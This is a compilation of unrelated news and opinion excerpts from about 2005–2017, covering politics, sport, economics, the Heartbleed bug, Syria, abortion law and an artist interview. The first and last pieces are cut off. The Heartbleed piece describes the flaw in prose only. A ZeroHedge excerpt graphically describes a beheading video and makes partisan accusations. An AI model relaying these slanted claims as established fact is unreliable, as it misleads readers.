year, an indication of AWS' growth. Amazon has expanded the service considerably since it launched in 2006. It is a major provider of data storage and computing for several consumer brands, including video-streaming service Netflix, and even government entities like the CIA and NASA.  In the past, AWS sales were included in a miscellaneous category for North America sales called "Other," which saw $1.67 billion in sales in the last quarter.  Updated, 2:58 p.m. PT: Added more details from earnings call.  Updated, 3:17 p.m. PT: Updated stock price.
-Democratic presidential candidate Bernie Sanders Bernard (Bernie) SandersPush to end U.S. support for Saudi war hits Senate setback Sanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' MORE has raised more than $6 million in the 24 hours since polls closed Tuesday night in New Hampshire, the Sanders campaign confirmed late Wednesday.  The campaign beat its $6 million fundraising goal and is now urging supporters to donate another $1 million by midnight.  ADVERTISEMENT  “I’ll be honest — right now, the math looks difficult to raise another $1 million today,” campaign manager Jeff Weaver said in an email sent to supporters, according to The Washington Post. “But I think it’s important for us to try, and not just because there are 14 primaries and caucuses over the next three months.”  Sanders crushed rival Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE in the Granite State. Afterward, he used his victory speech to urge supporters to donate to his campaign.  About 18 hours after the polls closed, Sanders had raised more than $5.2 million, with an average campaign contribution of just $34.  The Vermont senator has been outraising his rival Hillary Clinton of late. In January, he raised $20 million, besting Clinton's $15 million.  Updated at 10:08 p.m.
-Matthew Stafford tied an NFL record with his seventh fourth-quarter comeback win of the season after the Lions' 16-13 Thanksgiving victory over the Vikings. The overlooked reason, however, for the success of the Cardiac Cats in the final frame has been the reliability of kicker Matt Prater.  Detroit's kicker was 2 for 2 on game-tying or game-winning field-goal attempts in the fourth quarter or overtime Thursday, extending his career perfect mark in that metric to 25 of 25.  "I don't think you can ever think anything is automatic, but he's as good as they come in these situations," Lions coach Jim Caldwell said after the game.  Prater made a 48-yard boot to tie the contest at 13 with 1:45 left. Vikings quarterback Sam Bradford gifted Prater another opportunity to prove his clutch kicking, throwing an interception to Darius Slay to put the Lions in range for another miraculous come-from-behind win.  After a Stafford kneel, Prater drilled a kick from 40 yards out through the uprights to give the Lions sole possession of first place in the NFC North.  "I still have a lot of confidence where I don't doubt myself," Prater said. "Basically, I have the same mind set as I would with an extra point in the first quarter. I don't go out and ever expect that I won't make the kick."  In a season highlighted by the constant struggles of kickers, the Lions have to be relieved that they don't have to fret with their special teams unit with the game on the line.  "Can't say enough about Prater," Stafford said. "The guy, he's as clutch as they get. Really that unit has done a heck of a job for us all season long. I know they'll continue to do a great job for us."
-Researchers have uncovered a major security vulnerability they are calling Heartbleed. It is said to have huge implications for the entire Internet.  Here is an overview of the bug and how it works:  Yan Zhu of the Electronic Frontier Foundation explained how the bug operates in more detail in her article Why the Web Needs Perfect Forward Secrecy More Than Ever:  EFF has long advocated for websites to support HTTPS instead of plain HTTP to encrypt and authenticate data transmitted on the Internet. However, we learned yesterday of a catastrophic bug, nicknamed “Heartbleed,” that has critically threatened the security of some HTTPS sites since 2011. By some estimates, Heartbleed affects 2 out of 3 web servers on the Internet. Heartbleed isn’t a bug in the design of HTTPS itself but rather the result of a simple programming error in a widely-used piece of software called OpenSSL. It allows an attacker who connects to an HTTPS server running a vulnerable version of OpenSSL to access up to 64KB of private memory space. Doing the attack once can easily cause the server to leak cookies, emails, and passwords. Doing the attack repeatedly in a clever way can potentially leak entire encryption keys, such as the private SSL keys used to protect HTTPS traffic. If an attacker has access to a website’s private SSL key, they can run a fake version of the website and/or steal any information that users send, including passwords, private messages, and credit card numbers. Neither users nor website owners can detect this attack as it happens.  In case you didn’t catch it, this bug has been around since 2011.  CNET.com provided tips on how to protect yourself from the bug:  Do not log into accounts from afflicted sites until you’re sure the company has patched the problem. If the company hasn’t been forthcoming — confirming a fix or keeping you up to date with progress — reach out to its customer service teams for information, said John Miller, security research manager for TrustWave, a security and compliance firm. Once you’ve got confirmation of a security patch, change passwords of sensitive accounts like banks and email first. Even if you’ve implemented two-factor authentication — which, in addition to a password asks for another piece of identifying information, like a code that’s been texted to you — changing that password is recommended. Don’t be shy about reaching out to small businesses that have your data to make sure they are secure. While the high-profile companies like Yahoo and Imgur certainly know about the problem, small businesses might not even be aware of it, said TrustWave’s Miller. Be proactive about making sure your information is safe. Keep a close eye on financial statements for the next few days. Because attackers can access a server’s memory for credit card information, it wouldn’t hurt to be on the lookout for unfamiliar charges on your bank statements.  CNET also said that a site called LastPass can be used to check websites to see for their Heartbleed patch status.  It has been reported that the NSA used Heartbleed for intelligence for years.  According to Bloomberg.com, the NSA kept the bug secret in order to exploit its capabilities:  Putting the Heartbleed bug in its arsenal, the NSA was able to obtain passwords and other basic data that are the building blocks of the sophisticated hacking operations at the core of its mission, but at a cost. Millions of ordinary users were left vulnerable to attack from other nations’ intelligence arms and criminal hackers. “It flies in the face of the agency’s comments that defense comes first,” said Jason Healey, director of the cyber statecraft initiative at the Atlantic Council and a former Air Force cyber officer. “They are going to be completely shredded by the computer security community for this.” The NSA and other elite intelligence agencies devote millions of dollars to hunt for common software flaws that are critical to stealing data from secure computers. Open-source protocols like OpenSSL, where the flaw was found, are primary targets. While many Internet companies rely on the free code, its integrity depends on a small number of underfunded researchers who devote their energies to the projects. In contrast, the NSA has more than 1,000 experts devoted to ferreting out such flaws using sophisticated analysis techniques, many of them classified. The agency found the Heartbleed glitch shortly after its introduction, according to one of the people familiar with the matter, and it became a basic part of the agency’s toolkit for stealing account passwords and other common tasks.  A statement by Michael Sutton, vice president of security research at Zscaler, a San Jose, California-based security firm, sums up the seriousness of the bug and its potential impacts:  “We’ve never seen any quite like this. Not only is a huge portion of the Internet impacted, but the damage that can be done, and with relative ease, is immense.”  ——————-  Contributed by Lily Dane of The Daily Sheeple.  Lily Dane is a staff writer for The Daily Sheeple. Her goal is to help people to “Wake the Flock Up!”
-The Chinese government is complaining about Trump’s aggressive stance on North Korea, but its implementation of U.S.-drafted sanctions Monday suggests it is in fact going along with the U.S. effort.  The Trump administration secured a major victory this month when China declined to use its veto at the U.N. Security Council and voted for strict sanctions against North Korea’s exports—after it had voiced opposition to using sanctions. The sanctions will slash a third of North Korea’s $3 billion exports.  Before the vote, China had indicated they would not support sanctions. U.N. Ambassador Liu Jieyi said that China did not support an “economic blockade,” and scolded the U.S. for being one of two parties that “refuse to move towards what is required by Security Council resolutions.” Days later, China voted for the U.S.-drafted resolution.  But in an apparent toughening of their stance, President Xi Jinping warned Trump over the weekend to exercise “restraint” over his language in relation to North Korea.  “At present, relevant parties should exercise restraint and avoid words and actions that would escalate tensions on the Korean Peninsula,” Xi said, according to the statement provided by China’s government.  However, despite the warning and amid concerns that China would approve the North Korea resolution but not actually follow through with it, China’s Commerce Ministry on Monday announced that China would ban imports of coal, iron, iron ore, lead ore, lead and seafood from North Korea—fulfilling China’s implementation of one of the key pillars of the U.N. resolution.  Even with that, the Chinese seemed reluctant, with Chinese foreign minister Wang Yi telling Xinhua state news agency, “Given China’s traditional economic links with the DPRK, it is China that will mainly pay the price for the implementation of (the sanctions).”  Meanwhile, the state-controlled Global Times published a furious op-ed criticizing Trump on both North Korea and his reported decision to push for an investigation of China’s trade practices. The op-ed urged China to “turn its passivity around”:  The US frequently sends warships to patrol the South China Sea, and now it’s ramping up trade pressure on China. China should turn its passivity around. China will not act as an aggressive provocateur, but we should make Washington realize that China is not the one to be messed around with.  However, there was no sign of such a turning around from Beijing as it enforced the sanctions well within the 30-day limit set by the U.S.-drafted resolution.  Trump has taken an unusually hard line on China and had been outspoken in his disappointment that China had not worked with the U.S. to clamp down on North Korea.  The communist country’s recent backing down on North Korea may have something to do with Trump’s connecting of trade with the crisis in North Korea.  The Global Times blasted Trump for doing exactly that, calling the linking of the two “illogical.”  Adam Shaw is a Breitbart News politics reporter based in New York. Follow Adam on Twitter: @AdamShawNY
-A new paper on the Vox Web site by the European economists Rafael Lalive, Simon Luechinger and Armin Schmutzler on the effects of increased rail service makes clever use of natural experiments created by changes in German ownership and regulation. The results aren’t that surprising — more frequent rail service sharply reduces pollution and other costs associated with driving — but it’s good to have this kind of solid work to back our intuitions.  And can I say that this is a subject that really deserves a lot more attention? Mea culpa: I haven’t written much for a while on these issues, focusing mainly on the economic crisis, which is on the front burner for the moment. But we know, as surely as we know anything in economics, that there are huge market failures here — that every time an individual chooses to drive during rush hour, he or she is imposing huge costs on other drivers, on people who breathe, and more.  Ideally, the answer is to get the incentives right and to charge large fees for driving in congested areas. Short of that, there are huge second-best payoffs to mass transit; if we did the accounting properly, taking all the benefits into account, Amtrak’s Northeast Corridor service (which makes money even without taking this into account) would be seen as a huge social boon, and projects like a proposed rail tunnel under the  Hudson River between New York and New Jersey would be total no-brainers.  And the thing is that these are externalities that everyone can see. You can deny global warming (and may you be punished in the afterlife for doing so — this kind of denial for petty personal or political reasons is an almost inconceivable sin), but can anyone deny that more drivers means more traffic congestion?  Well, maybe I’m understating the power of denial. But still, this is a totally obvious case for government intervention that’s staring us all in the face every time we hit the road.  Running the Government Like a Business or a Family  I’ve spent a lot of time trying to knock down the bad analogy between governments and individuals, and the line that the government should act like an individual family or business, and cut back on spending when times are tough.  The key point is interdependence: your spending is my income, my spending is your income, and if we all try to slash spending at the same time, the result is a depression. Somebody needs to step up and spend when others won’t — and the government can and should be that somebody.  That said, the funny thing is that real individuals and businesses don’t behave the way the balanced-budget scolds claim. Businesses often borrow and spend when borrowing is cheap or they see high payoffs to investing; so do families. So the reporter Josh Israel at the commentary website Think Progress, in a recent post titled “14 GOP Congressmen Who Think Government Shouldn’t Borrow Have Big Debts Of Their Own,” is doing good by pointing out how many of those deficit-fearing Congresscritters turn out to have quite large personal debts.
-Trump Saw A Disturbing Video, Then He Shut Down The CIA’s Covert Syria Program from ZeroHedge  While we’ve carefully documented the dynamics in play behind Trump’s decision to end the CIA’s covert Syria program, as well as the corresponding fury this immediately unleashed among the usual hawkish DC policy wonks, new information on what specifically impacted the president’s thinking has emerged.  Thomas Joscelyn, a Middle East analyst for the Foundation for Defense of Democracies, explains in the August edition of The Weekly Standard:  Earlier this year, President Donald Trump was shown a disturbing video of Syrian rebels beheading a child near the city of Aleppo. It had caused a minor stir in the press as the fighters belonged to the Nour al-Din al-Zenki Movement, a group that had been supported by the CIA as part of its rebel aid program. The footage is haunting. Five bearded men smirk as they surround a boy in the back of a pickup truck. One of them holds the boy’s head with a tight grip on his hair while another mockingly slaps his face. Then, one of them uses a knife to saw the child’s head off and holds it up in the air like a trophy. It is a scene reminiscent of the Islamic State’s snuff videos, except this wasn’t the work of Abu Bakr al-Baghdadi’s men. The murderers were supposed to be the good guys: our allies.  Trump pressed his most senior intelligence advisers, asking the basic question of how the CIA could have a relationship with a group that beheads a child and then uploads the video to the internet. He wasn’t satisfied with any of the responses:  Trump wanted to know why the United States had backed Zenki if its members are extremists. The issue was discussed at length with senior intelligence officials, and no good answers were forthcoming, according to people familiar with the conversations. After learning more worrisome details about the CIA’s ghost war in Syria—including that U.S.-backed rebels had often fought alongside extremists, among them al Qaeda’s arm in the country—the president decided to end the program altogether.  Screenshot of the horrific video of a CIA-backed Syrian group beheading a boy named Abdullah Issa.  At the time the beheading video surfaced (July 2016), many in the American public naturally wanted answers, but the story never really picked up much momentum in the media. As Joscelyn describes, it caused nothing more than “a minor stir in the press.” The State Department seemed merely satisfied that the group responsible, Harakat Nour al-Din al-Zenki, claimed to have arrested the men that committed the gruesome crime, though nothing more was known. Absurdly, a US government spokesperson expressed hope that the child-beheading group would “comply with obligations under the law of armed conflict.”  The only press agencies that publicly and consistently challenged the State Department at the time were RT News and the Associated Press, yet even these attempts didn’t get picked up beyond the confines of the State Department’s daily briefing. When the AP’s Matt Lee initially questioned spokesman Mark Toner as to whether Zenki would continue to receive any level of US assistance, Toner casually replied “it would give us pause” – which left Lee taken aback.  Meanwhile, it wasn’t just the US government which had aided Zenki, but as fighting in Aleppo raged it became a favored group among both the mainstream media and prominent think tank pundits. One of the UK’s major broadcasters (Channel 4) even went so far as to attempt to delete and hide its prior online content which sought to normalize the beheaders as “moderate” and heroic once news of the video got out.  Controversial, but @AbuJamajem is largely right: – “In #Syria, U.S. Can Keep Its Hands Clean or Get Things Done”https://t.co/vYzwH0mWXB — Charles Lister (@Charles_Lister) August 22, 2016  Among think tankers, Zenki’s most prominent public supporter, frequently presenting the terror group as actually representative of Syria’s “secular” and supposedly democracy-promoting armed opposition (even after the beheading video emerged), was Charles Lister. Lister was finally confronted not by mainstream media, but by AlterNet’s Max Blumenthal at a DC event held by the (largely Gulf funded) Atlantic Council.  Only by the time of this January 2017 public forum, and after being persistently questioned, did Lister awkwardly back off his previous enthusiastic promotion of Zenki:  We can imagine that Trump saw other things beyond the shocking Zenki beheading video which made him fully realize the utter criminality of the CIA program (Thomas Joscelyn further emphasizes that Trump came to understand the full scope of CIA cooperation with al-Qaeda in Syria).  The only question that remains is who in the CIA or Obama-era State Department should be prosecuted first?  Sharing is caring!
-Online gaming may boost school scores but social media is wasted time, study suggests  Posted  In what could be music to the ears of many parents, teenagers who regularly play online games are more likely to get better school scores, an Australian study suggests.  Key points: RMIT research suggests gaming helps boost results in maths, science and reading  Online gaming helps develop analytical and problem-solving skills, researchers say  Scrolling through Facebook, Instagram or chat sites was shown to hinder academic success  Research released from RMIT University has found gaming helps boost results in maths, science and reading.  But researchers said scrolling through Facebook, Instagram or chat sites had the reverse effect, by hindering academic success in high school.  Associate Professor Alberto Posso from RMIT's School of Economics, Finance and Marketing said online gaming appeared to be a more useful way to spend time online for teenagers, compared with social media.  "Kids that are spending more time on online gaming — for example in a maths test — they're likely to score 17 points above the average, which is about 4 per cent above the average [test score]," he said.  Associate Professor Posso used data from the Program for International Student Assessment (PISA) to analyse the online habits of 12,000 Australian 15 year olds, which he then compared to their academic results.  He said the PISA data revealed that online gaming helped young people develop analytical and problem-solving skills.  "Sometimes [players] have to understand some of the principals of chemistry even, so they really have to understand science," he said.  "Some psychologists have argued that massive online player games can be beneficial to cognitive development."  'You're not really going to solve problems using Facebook'  Perhaps unsurprisingly, the study found spending hours on social media was mostly wasted time for teenagers, in terms of academic performance.  Australian teenagers who used Facebook or chat sites every day scored 20 points worse in maths than students who never used social media, the research said.  "You're not really going to solve problems using Facebook," Professor Posso said.  "What's interesting, from an economic perspective, there's a very high opportunity cost of time, where we're spending a lot of time doing something that may not necessarily be associated with performance in school.  "When you play online games you're solving puzzles to move to the next level and that involves using some of the general knowledge and skills in maths, reading and science that you've been taught during the day."  The research has been published in the International Journal of Communication.  Topics: schools, education, games, social-media, australia, melbourne-3000
-c/o Lauren Billington  It’s been three weeks since bleary-eyed Floridians woke up to news that a gunman had killed several people at the Route 91 Harvest music festival in Las Vegas. As the hours rolled on, and the internet did what it does, videos bounced off social networks like Snapchat and Twitter and onto mainstream news channels, warning viewers about the graphic images they were about to see. A click transported you to the moment shots began to ring out from a 32nd-story balcony hundreds of yard from the stage.  Details unfolded, and we learned that the shooter — a 64-year-old, millionaire retired real estate investor named Stephen Paddock — stocked a massive arsenal of guns in the Mandalay Bay Hotel room from which he would fire upon the 22,000 people gathered to see country star Jason Aldean. What initially sounded like fireworks were actually bullets, fired from guns outfitted with bump-stocks (which allow semi-automatic weapons to fire more like automatic ones). As victims in the massive crowd were treated for wounds suffered on festival grounds, images of fallen festival attendees, lost Stetsons and crying cowboys made their way to the eyes of a watching world. Eventually, we learned that 59 people died in the terrorist attack media outlets have dubbed “the worst mass shooting in modern American history.”  Aldean — who was just in Tampa for a boozy summertime performance at the MidFlorida Credit Union Amphitheatre — took to Instagram to say that the events he witnessed were “beyond horrific.” He sent thoughts and prayers to everyone involved, along with just about everybody else with a Facebook account. Nonprofit pro-gun lobby The National Rifle Association mostly remained silent, though, and pols reminded us that it just wasn’t the right time to talk about gun control.  Still, at the center of it all was the truly horrific reminder of the reality that even concerts — where the world goes to be moved by the simple sound of a song — were never truly sacred spaces safe from the twisted fantasies of some asshole with a gun.  “I don’t know what to make of it, really. Like most people, I am in shock and a little bit of denial,” yacht-rock singer Michael McDonald told CL in an interview days after the shooting. McDonald, 65, is scheduled to play the Clearwater Jazz Holiday on October 21, and noted that he hunted and collected guns in his younger days. “I was fascinated by guns, but for some reason this NRA lobby prohibits us from even bringing up the subject of why we’re making it easier for mentally impaired people to buy firearms.”  Against Me! guitarist James Bowman — who brings his punk band to play two nights of Big Pre-Fest in Ybor City at the end of this month — shelters his 5-year-old son from the news and said events like Vegas do stick in the back of his mind.  “You don’t necessarily try to forget about it, but it’s such a hard thing that does hit close to home because of the business we’re in. We all know what happened, and it’s the furthest thing you want to happen on any day,” Bowman, 37, said. “It doesn’t come up in everyday conversation because it is so scary.”  But Bowman’s tour rolls on, and so did Bay area concertgoers.  Two days after the attack, 15,000 Jack Johnson fans piled into the amphitheatre on the Florida State Fairgrounds. Kelsey and Joe Mitchals, both 27, sat on the lawn and brought their 2-year-old son Rylan and his 8-week-old brother Jackson. There was a little apprehension, but overall the vibe of the show by Johnson — a laid-back pro surfer turned songwriter — was what their family needed. At a Sunday concert by rising R&B star SZA, a sold-out Orpheum crowd was triumphant in the way it sang back every word. Down the street at Crowbar’s Ol’ Dirty Sundays, it was business as usual with a packed concert crowd from a show by electro producer Com Truise mixing in with the B-boys and girls gathered for the late-night hip-hop party.  And at Friday’s Band of Horses show at Jannus Live, a most enduring symbol of a collective scene’s unbreakable spirit manifested itself in 8-year-old Legend Billington, who attended the concert with his mom Lauren. She admitted to being nervous about the plethora of dark windows that sit above and around the famed courtyard venue, but made a conscious decision to watch the show from the outer edge of the crowd.  “We paid attention to the exits, and I made sure Legend knew all his emergency numbers and his address,” Lauren, 43, told CL, adding that discussing a tragedy like Vegas is a fine line for a kid his age. “I have not had to explain it to him — instead we talk about good, critical thinking in the case of an emergency.”  But why would she bring an 8-year-old to a rock show?  “For one, he loves the band,” she said, adding that every memory she has is related to a song, lyric band or venue. Billington won’t let anyone take that away from her or her family, and wants her kids to experience as much of the world as possible without being ruled by fear. “There are many risks we take daily. I’m more anxious about taking them to national monuments, Disney World, and sports events than I am about bringing them to smaller local concerts.  “I tell my sons all the time that ‘we only get each day once,’” she added before inadvertently explaining Bay area music fans’ resilience in the face of horror:  “They are encouraged to be positive risk-takers and to do the things that they love with the people they love.”  Taking risks for the love of live music. That’s the simple answer for why we go to concerts, and it’s the simple reason why we’ll never let anything take those experiences away from us
-Mr Bush has never laid out his plans in this way before  In a major policy speech, Mr Bush refused to set an "artificial deadline" to withdraw US troops, saying it was "not a plan for victory".  It comes after the release of the first Iraq strategy document, which rejects widespread calls for a timetable.  Mr Bush has come under growing pressure from Democrats on Iraq. Polls give him the lowest approval of his presidency.  They also suggest that six out of 10 Americans think the war in Iraq is not worth the cost.  As such, this was a speech from a president in deep trouble, says the BBC's Justin Webb in Washington.  Harry Reid, the Democratic leader in the Senate, said Mr Bush's speech was "recycled... tired rhetoric", and that the president had "once again missed an opportunity to lay out a real strategy for success in Iraq that will bring our troops safely home".  'Some setbacks'  Speaking at the US Naval Academy in Annapolis, Maryland, Mr Bush said there would be violence in Iraq "for many years" and that US troops would only be able to withdraw as local forces gained competence.  "These decisions about troop levels will be driven by the conditions on the ground in Iraq and the good judgement of our commanders, not by artificial timetables set by politicians in Washington," he said.  HAVE YOUR SAY America will not run in the face of car bombers and assassins so long as I am your commander-in-chief  President George W Bush  Excerpts: Strategy for Victory Send us your comments  Mr Bush said victory would come "when the terrorists and Saddamists can no longer threaten Iraq's democracy, when the Iraqi security forces can provide for the safety of their own citizens, and when Iraq is not a safe-haven for terrorists to plot new attacks on our nation".  This was a partial redefinition of what victory might be, and potentially highly significant, our correspondent says.  Mr Bush also openly acknowledged that there had been "some setbacks in standing up a capable Iraqi security force, and their performance is still uneven in some areas".  But Iraqi forces were regaining control of the country and training programmes had been improved, he said.  Withdrawing US troops before they had accomplished their mission would send the wrong message to the insurgents, Mr Bush added.  "America will not run in the face of car bombers and assassins so long as I am your commander-in-chief," he said.  Shift  The new National Strategy for Victory, released hours before Mr Bush's address, defines who the US sees as the enemy in Iraq, listing three groups in declining order of size:  "Rejectionists" - primarily Sunni Arabs who fared well under Saddam but have lost influence and authority. The US says their resistance will fade if a new democratic government protects minority rights  "Saddamists" who were active members of the former regime. The US expects their power to wane to the point where Iraqi security forces can defeat them  "Terrorists" associated with al-Qaeda who want to establish a totalitarian Islamic empire, and who must be killed or captured through counter-terror operations.  Our mission in Iraq is to win the war - our troops will return home when that mission is complete  Full strategy document (392KB) Most computers will open PDF documents automatically, but you may need to download Adobe Acrobat Reader. Download the reader here  "No war has ever been won on a timetable - and neither will this one," the document adds.  There are currently more than 150,000 US troops in the country. The White House has said it expects conditions will permit a reduction in US troop numbers next year, after Iraqi parliamentary elections in mid-December.  The US is spending about $6bn a month to keep its forces in Iraq. About 2,100 Americans have been killed since the March 2003 invasion.
-DAVID FARRAR: Providing strategic advice to a group planning a campaign to get rid of MMP.  A group of National and Act Party activists is preparing to launch a campaign against MMP.  Details of the campaign, to be launched soon in the lead-up to the referendum on MMP on election day in November, have been leaked to the Sunday Star-Times.  Among the campaign's key players is Simon Lusk, who played a major role in Don Brash's leadership coup against Act leader Rodney Hide.  Jordan Williams, the young Wellington lawyer who accompanied Brash on the day he deposed Hide, is being considered for the role of frontman of the campaign.  David Farrar, National's pollster and a well-known right-wing blogger and columnist, is providing strategic advice. Also involved is right-wing blogger Cameron Slater, known as Whale Oil.
-Whether or not abortion remains a crime in Queensland will likely be decided by who is elected to government on November 25. The procedure is currently only lawful to "prevent serious danger to the woman's physical or mental health".  Pro-Choice Queensland/Supplied  Pro Choice QLD/Facebook  "We need to know how many candidates at the state election are willing to come forward and say what their planned response to the recommendations from the [Queensland Law Reform Commission] will be," she told BuzzFeed News. Melinda decided to provide medical terminations to her patients in 2015 when she read about the "horrible deaths and complications" that came from backyard abortions in Queensland during the early 20th century. "The law hasn't changed since 1899 and I was quite outraged and realised that I could choose to provide this to women in need," she said. "Technically any GP in Queensland can provide this service if they want to, but I think the murky legal area is inhibiting a lot of GPs that might be interested in making it part of their policy of reproductive health. "At the moment it is a bit of a postcode lottery as to whether women can get access to a termination."  Melinda said she did not want to be named because she worked within the shadows of the law. "I could be charged and face up to 14 years in jail and my patients could face seven years, but I have a bit of a defence under case law and my patients don't." Essential research polling showed in February 76% of Queenslanders believed the state's abortion laws should be changed.  Essential Research / Via d3n8a8pro7vhmx.cloudfront.net  Most voters polled were less likely to vote for candidates who wanted to keep treating abortion as a crime. More than 100 candidates have signed a pro-choice candidate pledge from independent lobby group Fair Agenda, which is backed by The Human Rights Law Centre, Women’s Legal Service Queensland, White Ribbon and the Queensland Council of Unions. "One in four women have a termination in their lifetime so this is absolutely an issue for voters and it should be an issue that candidates are willing to stand up on, regardless of their political affiliation," Pro-Choice Queensland convenor and former state Liberal senator Sue Boyce said of the pledge.  Dan Peled / AAP  The candidates committed, if elected, to "vote to remove abortion from the criminal code, and support laws to ensure all Queenslanders can safely and legally access full reproductive healthcare, without being harassed or intimidated.” Labor member for Murrumba and candidate for the newly-formed electorate of Bancroft, Chris Whiting, has taken the pledge because he believes "the law is clearly outdated and it needs to be reformed". "Whatever people's moral position is, we cannot criminalise the thousands of Queenslanders who undergo this process every year," Whiting told BuzzFeed News.  "It is abundantly clear that there are decades worth of case law that circumnavigate what are 19th century statutes."  Chris Whiting/Facebook  Whiting is running against LNP candidate Kara Thomas who is also the director of research, policy and advocacy at anti-abortion lobby group Cherish Life Queensland.  Supplied  The organisation was responsible for a raft of misleading radio, newspaper and Facebook advertisements in the lead up to the scheduled vote on Pyne's abortion law reform bills earlier this year. Thomas gave evidence for Cherish Life in an inquiry into Pyne's second bill last year, during which she argued the section (s225) of Queensland's criminal code which criminalises women should remain in the law. She argued against abortion in all scenarios, including following a rape. "Even in cases of rape and incest, does the child pay the death penalty for the actions of the perpetrator, and is a second act on the woman going to make it better?" Thomas asked the inquiry.  Thomas declined an interview with BuzzFeed News.  The candidate also argued against safe-access zones — a key part of Pyne's legislation — which would make it illegal for any person seeking to "intimidate, or impede the access of a person entering or leaving" an abortion provider (within 50 metres of the clinic). "There are a number of stories of women who have changed their mind because of sidewalk counsellors," Thomas said. "I am not supportive of violence outside of clinics, but I do not think that it is right to impose a restriction around a building based on a belief that the unborn are not human." Thomas joined the most vocal opponent to Pyne's bills, Cleveland MP Mark Robinson, in an interview by anti-abortion rights blogger Dave Pellowe, whose other videos include "There's no clear definition of what hate speech is", "Good news, there is no rape culture" and "Are homosexuals born that way?"  Dave Pellowe/YouTube Kara Thomas and Mark Robinson.  "Abortion ... is the intentional killing of an innocent human being," she said.  "If the unborn are human, which science says they are, then it is morally wrong according to our laws to unjustly kill a human being." She referred to abortion as "state-sanctioned coercion" and spruiked the anti-abortion documentary Hush, which showed a purported link between abortion and an increased chance of developing breast cancer. This purported link has been widely and repeatedly rejected by Australia's medical organisations including the Royal College of Obstetricians and Gynaecologists, the Australian Cancer Council, the Breast Cancer Network of Australia, and the Australian Medical Association, as well as American organisations the National Breast and Ovarian Cancer Centre, the National Cancer Institute, and the American Cancer Society. Whiting said his opponent should be "clear with her constituents about where she is employed and what her stance is".  Pro-Choice QLD/Facebook
-Chances are you have heard of Roman ‘Amok’ Papsuev. He’s an incredibly talented game industry artist, who has been working hard on a series of incredible images of the Russian folk heroes, recreated in his signature videogame style. This project is called “Tales of Old Rus‘”.  His drawings conquered a lot of media websites and became a huge hit on 9GAG. We couldn’t pass this opportunity and managed to talk with Roman about his career, his collaborations with George R. R. Martin, the search for great authentic references and the whole philosophy of the “Old Rus‘” project.  Could you please introduce yourself and talk a bit about your work?  Well, I’ve been working as an illustrator for quite some time, since the beginning of this century you may say (chuckles). I was making illustrations for books of famous local fantasy authors: Vera Kamsha, Nick Perumov, Dmitry Kazakov.  Then, just as a hobby, I began painting portraits of A Song of Ice and Fire characters. Later George R. R. Martin took a notice of me and recommended me as an artist for Fantasy Flight Games (FFG). So I got a job working on a card game based on A Song of Ice and Fire series.  It was great getting a direct email from Martin himself and getting his feedback. With his help I was able to fix some of the portraits. All in all there were around 120 of them. Now you can find most in various Game of Thrones related wikis and resources.  Eventually Martin and FFG asked me to contribute to the “The Art of Song of Ice and Fire” artbook. The writer was kind enough to give me some exclusive descriptions of the Targaryens and I was happy to create their portraits. Good times.  Anyway, I was quite busy, making illustrations for books and fantasy novels. In 2008 I got the “Best Artist” award at Eurocon. Later I got an interesting proposal from local Russian company Astrum-Online. This is how I got into game industry.  The thing is that being a freelancer I had a chance to work on various tasks and was lucky enough to collaborate with “13Roentgen” studio, headed by Leonid Sirotin (a well-known Russian game producer, mostly specializing in mobile and social games). He was the one to bring me into game industry, and I’m still incredibly grateful to him. It was interesting working in a completely new field. Right now I’m the Lead Artist in ITT Territory Studio, which is a part of Mail.ru Group.  I’ve been able to contribute to a various projects, including such browser games as «Juggernaut», «ThreeKingdoms», «Legend: Legacy of the Dragons». Also I did a lot of art for «Territory-2»: concept art, promo art, you name it. This project was closed, but all the content did not go to waste.  Our team switched to mobile games and we’ve managed to use some of the Territory-2 concepts in «Evolution: Battle for Utopia». This game was very successful and even got a custom page in AppStore.  I also used to be a writer back in the day and managed to publish 4 novels and a couple of short stories. Thankfully I knew when to stop, because I finally realized I wasn’t good at it. During those days I was studying a lot of mythology, medieval history and other historical sources. So you might say I have a long interest in folk tales and couldn’t resist the temptation to work with our local folklore.  How did you come up with this idea of folk heroes reimagining?  Being a CG-artist I sometimes get back to the roots and have fun drawing with a pencil. I spent a lot of time working on a sketchbook “MonstaPanopticum”. It was a collection of various monsters, sort of my imagination practice, just a personal project. The sketchbook was done but I still had a lot of ideas. I thought about Russian folk tales and mythology. There’s a ton of very cool characters there and not a lot of video games exploring this amazing setting.  My initial idea was to develop the theme and try to look at it at an unusual angle. Then I figured I could try drawing Russian classical characters in a hardcore fantasy-style game setting.  It all started as a mind exercise, but slowly grew into something much bigger. I’ve started researching folk tales, read some related books and the whole project became much more interesting. I got an opportunity to make videogame interpretations of the Russian tales. I tried to be not constricted by stereotypes or so called classical vision. You can study the descriptions of some of the images and figure out how much time I’ve spent researching the details.  I do not just make up these characters. Everything is in the Russian mythology. I just try to interpret them in my own way, finding some common features, keeping the images in one general style. If it works, we’ll get the feeling of one giant living and breathing fantasy world, populated by these creatures.  I got to be honest – I don’t believe that these characters need any particular reimagining. It’s a huge layer of Russian culture and I truly believe you should read these stories to kids: these tales are full of magic, positive characters, happy endings. Then, when your children grow up, they may have a look at my paintings, read the descriptions and learn a lot of new stuff. Because original Russian folk tales are far more complex and brutal than you think. As well as all mythology, as a matter of fact.  My images do not destroy the classical visions of these characters. Russia actually has a huge visual heritage and my project is not trying to substitute it. It’s just the way of looking at well-known heroes a bit differently. Yes, I do break stereotypes but I do not mean to change the way we perceive our historical or mythological heritage. I feel that it’s time for us to try and integrate our folk tales in the contemporary life. This is a chance to remind young people in Russia and all around the world about our cultural inheritance, to help them gain a better understanding of the classical characters of Russian folk culture.  I believe that since we live in 21st century it’s useful to get rid of some of the stereotypes and patterns we have. Try to imagine our classical Russian bogatyrs standing next to Khorne from Warhammer universe. Just visually try to figure out which character looks stronger? Who would win the imaginary fight? See what I mean?  To be fair there was a number of great games which tried to take some of Slavic folk heritage into the world of interactive entertainment. Let’s take Allods Online for example (I didn’t play it). I heard Witcher 3 is also awesome (I didn’t play it either). In my works I tried to put the characters in a harsher, grittier visual reality, giving them my own personal artistic interpretation.  Can you shed some light on how does your creative process works? Where do you get all those incredible ideas for details of your character?  It was easy to draw the first images. I’ve been creating them almost on the spot, based on 